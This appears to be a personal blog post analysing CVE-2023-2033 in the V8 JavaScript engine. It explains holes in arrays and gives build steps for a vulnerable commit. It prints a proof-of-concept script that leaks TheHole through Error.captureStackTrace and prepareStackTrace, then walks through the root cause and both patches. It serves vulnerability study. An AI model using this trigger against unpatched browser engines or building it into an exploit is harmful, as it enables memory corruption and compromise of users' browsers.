Introduction
I have been following v8 exploits related to hole for sometime now and I found CVE-2023-2033 really interesting. So I thought documenting whatever I learn while doing the analysis of this CVE will help me understand it even better.
Hole
Generally in JavaScript, A Hole to an empty slot in an array. These holes are different from undefined
or null
values, which are actual values that can be assigned to array elements.
For example, if you create an array like this:
var arr = [1, 2, 3];
arr.length = 5;
The array arr
will have two holes
at the end.
Now lets see how this looks like in v8,
We can use %DebugPrint(arr)
so get debug information of the array.
d8> %DebugPrint(arr)
DebugPrint: 0x38ae001c9415: [JSArray]
- map: 0x38ae000cef71 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x38ae000ce925 <JSArray[0]>
- elements: 0x38ae001cb0fd <FixedArray[20]> [HOLEY_SMI_ELEMENTS]
- length: 5
- properties: 0x38ae000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x38ae00000d41: [String] in ReadOnlySpace: #length: 0x38ae0030f6f9 <AccessorInfo name= 0x38ae00000d41 <String[6]: #length>, data= 0x38ae00000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x38ae001cb0fd <FixedArray[20]> {
0: 1
1: 2
2: 3
3-19: 0x38ae000006e9 <the_hole_value>
}
0x38ae000cef71: [Map] in OldSpace
- map: 0x38ae000c3c29 <MetaMap (0x38ae000c3c79 <NativeContext[285]>)>
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_SMI_ELEMENTS
- enum length: invalid
- back pointer: 0x38ae000ce6b1 <Map[16](PACKED_SMI_ELEMENTS)>
- prototype_validity cell: 0x38ae00000a31 <Cell value= 1>
- instance descriptors #1: 0x38ae000cef3d <DescriptorArray[1]>
- transitions #1: 0x38ae000cef99 <TransitionArray[4]>Transition array #1:
0x38ae00000e05 <Symbol: (elements_transition_symbol)>: (transition to PACKED_DOUBLE_ELEMENTS) -> 0x38ae000cefb1 <Map[16](PACKED_DOUBLE_ELEMENTS)>
- prototype: 0x38ae000ce925 <JSArray[0]>
- constructor: 0x38ae000ce61d <JSFunction Array (sfi = 0x38ae00335da5)>
- dependent code: 0x38ae000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
[1, 2, 3, , ]
You can see that the elements kind for this array is HOLEY_SMI_ELEMENTS
. SMI is used to represent small integers. and you can see that the elements after arr[2]
are holes.
V8 uses a special object to represent these holes called TheHole
. It is an internal implementation which never leaks(or should never) in the JavaScript code. since this is a special object it is handled differently in various places in v8. this special handling is what lead to a lot vulnerabilities in the past.
Setup
spektre@skream:~$ fetch v8
spektre@skream:~$ cd v8
spektre@skream:~/v8$ ./build/install-build-deps.sh # Assumes you're using apt
spektre@skream:~/v8$ git checkout f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
spektre@skream:~/v8$ ./tools/dev/v8gen.py x64.release
spektre@skream:~/v8$ ninja -C ./out.gn/x64.release # Release version
spektre@skream:~/v8$ ./tools/dev/v8gen.py x64.debug
spektre@skream:~/v8$ ninja -C ./out.gn/x64.debug # Debug version
Bug Analysis
POC
var h0le = [Object];
function boom() {
var h00le = h0le;
function rGlobal() {
h00le[0] = stack;
return h00le;
}
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = function() {
Reflect.deleteProperty(Error, 'prepareStackTrace');
Reflect.deleteProperty(globalThis, 'stack');
Reflect.defineProperty(
globalThis, 'stack',
{configurable: false, writable: true, enumerable: true, value: 1});
stack = undefined;
for (let i = 0; i < 0x5000; i++) {
rGlobal();
}
return undefined;
};
Reflect.defineProperty(
globalThis, 'stack',
{configurable: true, writable: true, enumerable: true, value: undefined});
delete globalThis.stack;
rGlobal();
%DebugPrint(h0le[0]);
}
boom();
First, we call Error.captureStackTrace()
:
- This function captures the current stack trace and stores it in a private symbol property.
- It creates a “v8 api/native accessor” (AccessorInfo) property for
stack
. - In V8, AccessorInfo objects are used to store information about custom getter and setter functions.
Overriding Error.prepareStackTrace
:
- The
prepareStackTrace
function is redefined by the user. - This function is called whenever the
stack
property of an Error object is accessed.
Call Object.defineProperty
on globalThis
, “stack”, with the specified properties {...}
:
- To define a property descriptor, it’s necessary to first get the current property descriptor. This action invokes
JSReceiver::GetOwnPropertyDescriptor
. - Since
stack
is anAccessorInfo
(and not a standard “JavaScript accessor” represented byAccessorPair
), the process involves callingObject::GetProperty
. - This leads to the invocation of the user-defined
Error.prepareStackTrace
function, which formats the stack trace.
Invoke the user-defined Error.prepareStackTrace
function during the execution of Object.defineProperty
:
-
Delete the Old ‘stack’ Property: Remove the existing
stack
property fromglobalThis
, using itsconfigurable
attribute set totrue
. -
Define a New ‘stack’ Data Property: Create a new
stack
data property onglobalThis
. This property is madewritable
butnon-configurable
. -
Transition PropertyCell Type: Modify the
stack
property to change its PropertyCell type tokMutable
. -
Trigger TurboFan Optimization: Optimize the function loading
stack
with TurboFan (V8’s optimizing compiler), due to the new status ofstack
as anon-configurable
andmutable
property.- Optimize LoadGlobal Operation:
- Optimize the LoadGlobal operation to load from a
HeapConstant PropertyCell
.
- Optimize the LoadGlobal operation to load from a
- Bypass De-optimization Checks:
- No lazy de-optimization compilation dependencies are installed during this process.
- Optimize LoadGlobal Operation:
-
After the user-defined
Error.prepareStackTrace
function completes,Object.defineProperty()
continues with the descriptor returned earlier (which does not reflect the changes made insideError.prepareStackTrace
). -
The
stack
property is updated to{value: 1, configurable: true}
, contradicting the non-configurable state assumed by the JIT-optimized code. -
Upon deletion of the
stack
property, the PropertyCell is cleared and transitions into a state with a value known as “The Hole”. -
The TurboFan-optimized function then tries to access the
stack
property, expecting a non-configurable, mutable property. Instead, it retrieves the cleared PropertyCell, which now contains “The Hole”.
Patch Analysis
There were two fixes for this bug.
diff --git [a/src/builtins/builtins-error.cc](https://chromium.googlesource.com/v8/v8/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c/src/builtins/builtins-error.cc) [b/src/builtins/builtins-error.cc](https://chromium.googlesource.com/v8/v8/+/fa81078cca6964def7a3833704e0dba7b05065d8/src/builtins/builtins-error.cc)
index 01e0162..14c0602 100644
--- a/src/builtins/builtins-error.cc
+++ b/src/builtins/builtins-error.cc
@@ -35,6 +35,9 @@
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kInvalidArgument, object_obj));
}
+ if (object_obj->IsJSGlobalProxy()) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
Handle<JSObject> object = Handle<JSObject>::cast(object_obj);
Handle<Object> caller = args.atOrUndefined(isolate, 2);
This introduced a simple check to return undefined
value If object_obj
is a JSGlobalProxy
I think this patch was a temporary fix as they introduced another patch after few days for a better fix
Patch 2 :
The patch notes itself is pretty much self explanatory here:
[error] Define Error.stack property as a JavaScript accessor
... instead of the native data property.
This fixes the JS spec violation when reading a data property does not
expect any observable side effects. For example, OrdinaryGetOwnProperty
(see [https://tc39.es/ecma262/#sec-ordinarygetownproperty](https://tc39.es/ecma262/#sec-ordinarygetownproperty), step 4a).
Differences to previous behaviour:
- Error.stack is defined as a JavaScript accessor property.
- all Error objects get a private "error_stack_symbol" field where
the captured stack trace is stored (previously it was added only when
the error was actually thrown which caused unnecessary transitions).
- Error.captureStackTrace(obj) adds public "stack" accessor property
and private "error_stack_symbol" property to given "obj".
- calling "stack" getter/setter is a no-op in case receiver is not an
"Error-like" object, i.e. it doesn't have a "error_stack_symbol"
property and it doesn't have a prototype with such a property (the
lookup stops at JSProxy or interceptor).
- the "stack" getter walks the prototype chain from receiver until it
finds a holder with the "error_stack_symbol" property which is then
used for computing the result.
This is slightly different from the previous behaviour in case
receiver's prototype chain contains multiple error objects.
- the "stack" setter walks the prototype chain from receiver until it
finds a holder with the "error_stack_symbol" property and stores the
value there.
Conclusion
I have learnt a lot while doing analysis for this CVE, and the next blog post will be about how this vulnerability was exploited. If you find any mistakes or have any doubts/suggestions feel free to contact me :)